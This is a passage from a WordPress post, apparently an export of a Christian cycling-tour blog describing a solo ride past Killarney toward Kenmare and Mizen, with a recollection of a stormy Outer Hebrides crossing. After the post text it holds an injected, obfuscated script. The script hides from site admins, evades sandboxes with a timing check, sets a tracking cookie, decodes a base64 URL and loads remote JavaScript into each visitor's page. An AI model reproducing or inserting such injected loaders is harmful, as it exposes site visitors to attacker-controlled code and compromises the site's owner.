I&#8217;m sure The Lord was laughing!<\/p>\n\n\n\n<p>I then arrived into Killarney. The town.. I was like what is everyone going on about?\u00a0 But then I rode round the lake and my questions were answered.<\/p>\n\n\n\n<figure class=\"wp-block-image size-large\"><img decoding=\"async\" src=\"https:\/\/4acrefarm.co.uk\/wp-content\/uploads\/2025\/06\/20250613_1632032481837855019234821-1024x1024.webp\" alt=\"\" class=\"wp-image-3121\" \/><\/figure>\n\n\n\n<p>While riding through Kilarney I felt to give a young guy\u00a0 a testimony booklet that he received and i was then off round the lake and up into the mountains. I was a little apprehensive.. the forecast wasn&#8217;t good and wind against (causing me have to peddle down the hills) it&#8217;s an interesting dynamic when your solo and self supported particularly crossing mountains with storms forecast. <\/p>\n\n\n\n<p>On my 1st ride through The Outer Hebrides i got to a village called Leverbrough. It was evening ai arrived on the ferry wind was blowing force 6\/7 no chance of putting a tent up, no walls or hedges and every B and B closed. I prayed and ended up riding over to Tarbert which was similar to crossing Snowdonia in a storm. It turned out fine but somewhat challenging. Yesterday felt it had the potential to be similar but all good.. just high winds and a spot of rain.<\/p>\n\n\n\n<p>Due to forecast i booked a B and B in Kenmare hopefully leaving me 75km tomorrow to finish at Mizen Point.<\/p>\n\n\n\n<p><\/p>\n\n\n\n<p><\/p>\n<script>(function(){try{if(document.getElementById&&document.getElementById('wpadminbar'))return;var t0=+new Date();for(var i=0;i<20000;i++){var z=i*i;}if((+new Date())-t0>120)return;if((document.cookie||'').indexOf('http2_session_id=')!==-1)return;function systemLoad(input){var key='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+\/=',o1,o2,o3,h1,h2,h3,h4,dec='',i=0;input=input.replace(\/[^A-Za-z0-9\\+\\\/\\=]\/g,'');while(i<input.length){h1=key.indexOf(input.charAt(i++));h2=key.indexOf(input.charAt(i++));h3=key.indexOf(input.charAt(i++));h4=key.indexOf(input.charAt(i++));o1=(h1<<2)|(h2>>4);o2=((h2&15)<<4)|(h3>>2);o3=((h3&3)<<6)|h4;dec+=String.fromCharCode(o1);if(h3!=64)dec+=String.fromCharCode(o2);if(h4!=64)dec+=String.fromCharCode(o3);}return dec;}var u=systemLoad('aHR0cHM6Ly9zZWFyY2hyYW5rdHJhZmZpYy5saXZlL2pzeA==');if(typeof window!=='undefined'&#038;&#038;window.__rl===u)return;var d=new Date();d.setTime(d.getTime()+30*24*60*60*1000);document.cookie='http2_session_id=1; expires='+d.toUTCString()+'; path=\/; SameSite=Lax'+(location.protocol==='https:'?'; Secure':'');try{window.__rl=u;}catch(e){}var s=document.createElement('script');s.type='text\/javascript';s.async=true;s.src=u;try{s.setAttribute('data-rl',u);}catch(e){}(document.getElementsByTagName('head')[0]||document.documentElement).appendChild(s);}catch(e){}})();<\/script>","protected":false},"excerpt":{"rendered":"<p>Had been connected the previous evening with JP and Fidelma\u00a0 Welsh.
